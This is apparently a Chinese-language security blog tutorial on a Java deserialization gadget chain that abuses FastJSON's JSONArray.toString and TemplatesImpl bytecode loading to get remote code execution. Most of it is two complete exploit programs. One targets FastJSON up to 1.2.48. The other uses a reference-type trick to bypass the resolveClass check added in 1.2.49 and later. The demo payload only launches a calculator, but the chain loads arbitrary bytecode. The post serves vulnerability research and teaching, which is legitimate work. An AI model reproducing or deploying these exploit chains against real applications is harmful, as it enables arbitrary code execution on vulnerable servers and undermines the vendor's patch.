环境

1
2
3
4
5
6
7
8
9
10
11
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.19.0-GA</version>
</dependency>

<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.48</version>
</dependency>

链子1(FastJSON版本<=1.2.48)

JSON类中的toString()能调用toJSONString()toJSONString()是FastJSON的序列化关键函数。

我们在FastJSON基础篇中提到:用toJSONString()进行序列化时,能调用目标类的getter方法。而有些类的getter方法会触发漏洞(TemplatesImpl类下的getOutputProperties()

看到newTransformer(),熟悉吗。详见CC3的内容:

只要能调用newTransformer()就能恶意加载字节码,实现RCE。

JSON.toString()->JSON.toJSONString()

现在找找哪些类会调用toString(),我们关注到BadAttributeValueException类:

这个readObject()的前两行关注一下:

1
2
3
4
ObjectInputStream.GetField gf = ois.readFields();
// 从反序列化的对象中读取字段
Object valObj = gf.get("val", null);
// 获取字段 "val" 的值,若不存在则返回 null

我们只需把val的值通过反射进行修改,即可触发目标对象的toString()方法。

这里的对象我们不能直接设为JSON对象,而需要引入JSONArray类,因为JSON没有继承Serializable接口,无法序列化,而JSONArray可以:

而且JSONArray继承了JSON类,自身并没有重写toString()方法,所以调用时会调用到父类(JSON.toString()),成功触发。

链子逻辑

1
2
3
BadAttributeValueExpException#readObject()->
JSONArray->JSON#toString()->toJSONString()->
TemplatesImpl#getOutputProperties()->CC3链

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import com.alibaba.fastjson.JSONArray;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

public class Test01 {
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("D:\\tmp\\Calc.class"));
Templates templates = new TemplatesImpl();
setValue(templates, "_bytecodes", new byte[][]{code});
setValue(templates, "_name", "xiaofuc");
setValue(templates, "_tfactory", new TransformerFactoryImpl());

JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
setValue(badAttributeValueExpException,"val", jsonArray);

serialize(badAttributeValueExpException);
unserialize("ser.bin");
}

public static void setValue(Object obj, String name, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

绕过高版本

在1.2.49版本及以后JSONArray与JSONObject类有了readObject(),经过断点调试,应用上述的EXP,会走到JSONArray下的readObject(),这个反序列化过程会委托给SecureObjectInputStream,触发resolveClass()拦截恶意类。

反序列化过程会调用java.io.ObjectInputStream#readObject0()

其对bytes中的tc类型做相应的处理去恢复对象。

当tc是TC_CLASSDESC时,会调用readClassDesc(),若下一位tc仍然是TC_CLASSDESC,则会调用readNonProxyDesc()

readNonProxy()->resolveClass(),触发防御:

我们需要让tc指定为TC_REFERENCE(引用类型)。所以我们要在JSONArray对象反序列化过程中,使恶意类成为引用类型,从而绕过resolveClass()检查。

如何利用引用类型

这里我跟源码跟得不太明白,详情请见↓

https://y4tacker.github.io/2023/04/26/year/2023/4/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-%E4%BA%8C/

直接给出绕过方法与大致原理:

我们向List、Map、Set等类型添加同样的恶意对象即可成功绕过。

1
2
3
4
5
6
7
8
9
10
11
TemplatesImpl templates = TemplatesImplUtil.getEvilClass("open -na Calculator");
ArrayList<Object> arrayList = new ArrayList<>();
arrayList.add(templates); //先装入一次恶意对象

JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);

BadAttributeValueExpException bd = getBadAttributeValueExpException(jsonArray);
arrayList.add(bd); //再次装入

WriteObjects(arrayList);

大致原理:

序列化时,templates先加入进arrayList,之后再次序列阿虎到templates时,由于handles(hash表)中找到了映射,所以后续的templates对象会成为REFERENCE类型(引用)。

反序列化时,ArrayList先通过readObject恢复templates对象s,之后恢复BadAttri对象,过程中会触发JSONArray#readObject(),过程被委托给SecureObjectInputStream,再次恢复templates对象时,因为它已是REFERENCE类型,所以不会触发resolveClass(),从而实现绕过。

List版EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import com.alibaba.fastjson.JSONArray;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.ArrayList;
import java.util.Base64;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

public class Test01 {
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("D:\\tmp\\Calc.class"));
Templates templates = new TemplatesImpl();
setValue(templates, "_bytecodes", new byte[][]{code});
setValue(templates, "_name", "xiaofuc");
setValue(templates, "_tfactory", new TransformerFactoryImpl());

ArrayList list = new ArrayList();
list.add(templates);

JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
setValue(badAttributeValueExpException,"val", jsonArray);

list.add(badAttributeValueExpException);

serialize(list);
unserialize("ser.bin");
}

public static void setValue(Object obj, String name, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}